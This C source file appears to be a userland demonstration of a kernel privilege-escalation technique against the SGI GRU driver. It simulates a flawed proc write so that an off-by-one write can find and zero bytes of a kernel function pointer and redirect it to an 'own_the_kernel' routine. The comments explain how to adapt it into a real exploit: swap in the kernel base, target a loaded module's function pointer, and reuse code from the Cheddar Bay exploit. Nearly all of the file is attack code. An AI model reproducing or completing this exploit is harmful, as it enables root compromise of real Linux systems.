/* demonstration of exploit for SGI GRU driver, if I actually had the
   hardware
   replace write_stuff with the actual write to the proc entry
   and then toss in own_the_kernel and associated functions from Cheddar Bay.

   needs to target a function pointer in a loaded module, as they're located
   after the kernel stacks (so that we can pass the < 0 write check)

   compile with:
   cc -pie -fPIC -o exploit_demo exploit_demo.c
*/

#include <stdio.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

/* pretend kernel base is at 0x80000000, in the real exploit you'd 
   change this to 0xc0000000
*/

#define KERNEL_BASE 0x80000000

#define MMAP_HINT   (void *)0x10000000

static ssize_t options_write(void *file, const char *userbuf, size_t count, loff_t *data)
{
	unsigned long val;
	char buf[80];

	memcpy(buf, userbuf, count < sizeof(buf) ? count : sizeof(buf));

	printf("buf is at %08lx\n", &buf);
	buf[count - 1] = '\0';
	return count;
}

static ssize_t generic_write(const char *userbuf, size_t count)
{
	/* simulate write check / int overflow prevention */
	printf("count is %08lx\n", count);
	if ((int)count < 0)
		return -EINVAL;
	return options_write(NULL, userbuf, count, NULL);
}

void own_the_kernel(void)
{
	printf("hehe the kernel is owned ;)\n");
	return;
}

typedef int (*_func_ptr)(void);

int main(void)
{
	char our_buf[80];
	unsigned char *bmap;
	char *mem;
	char *found_buf;
	int i, x;
	int ret;
	_func_ptr known_fptr_with_known_target = (_func_ptr)&own_the_kernel;

	/* make sure the fptr isn't callable directly, simulate it existing in the kernel */
	*(unsigned long *)&known_fptr_with_known_target |= 0xc0000000;

	bmap = malloc(256 * 1024);

	/* mmap 1GB, reflecting any kernel address into our allocation */
	mem = (char *)mmap(MMAP_HINT, 1024 * 1024 * 1024, PROT_READ | PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
	printf("mmap base is %08lx\n", mem);
	ret = generic_write((const char *)&our_buf, KERNEL_BASE - (size_t)mem);
	printf("write returned %d\n", ret);

	mincore(mem, 1024 * 1024 * 1024, bmap);
	for (i = 0; i < 256 * 1024; i++) {
		if (bmap[i]) {
			printf("fault was in page at %08lx\n", mem + (i * 0x1000));
			break;
		}
	}

	if (i == (256 * 1024)) {
		printf("no fault\n");
		return 0;
	}

	memset(mem + (i * 0x1000), 0xff, 0x1000);

	/* find the exact write address */
	ret = generic_write((const char *)&our_buf, KERNEL_BASE - (size_t)mem);

	for (x = 0; x < 0x1000; x++) {
		if (mem[(i * 0x1000) + x] == 0) {
			printf("specific write at %08lx\n", &mem[(i * 0x1000) + x]);
			break;
		}
	}
	if (x == 0x1000) {
		printf("didn't fault\n");
		return 0;
	}

	found_buf = KERNEL_BASE + (unsigned long)mem + (char *)&mem[(i * 0x1000) + x] + 1;

	printf("found buf at %08lx\n", found_buf);

	printf("before:  fptr target: %08lx\n", *(unsigned long *)&known_fptr_with_known_target);
	printf("write target is %08lx\n", (unsigned long)&known_fptr_with_known_target + 4);

	/* clear the highest byte in the fptr
	   the + 1 is because 1 is subtracted from our count
	   we can do multiple writes of these to mask off individual bytes of the function pointer address
 	   in the real exploit we should have some executable memory mapped at the address that we have
	   shaved the function pointer down to, where a jmp exists to own_the_kernel
	*/
	ret = generic_write((const char *)&our_buf, ((unsigned long)&known_fptr_with_known_target + 3) - (unsigned long)found_buf + 1);
	printf("ret is %d\n", ret);

	printf("after: fptr target: %08lx\n", *(unsigned long *)&known_fptr_with_known_target);

	/* in real exploit this would be something called by the kernel
	   which would then be jumping to our userland*/
	known_fptr_with_known_target();

	return 0;
}
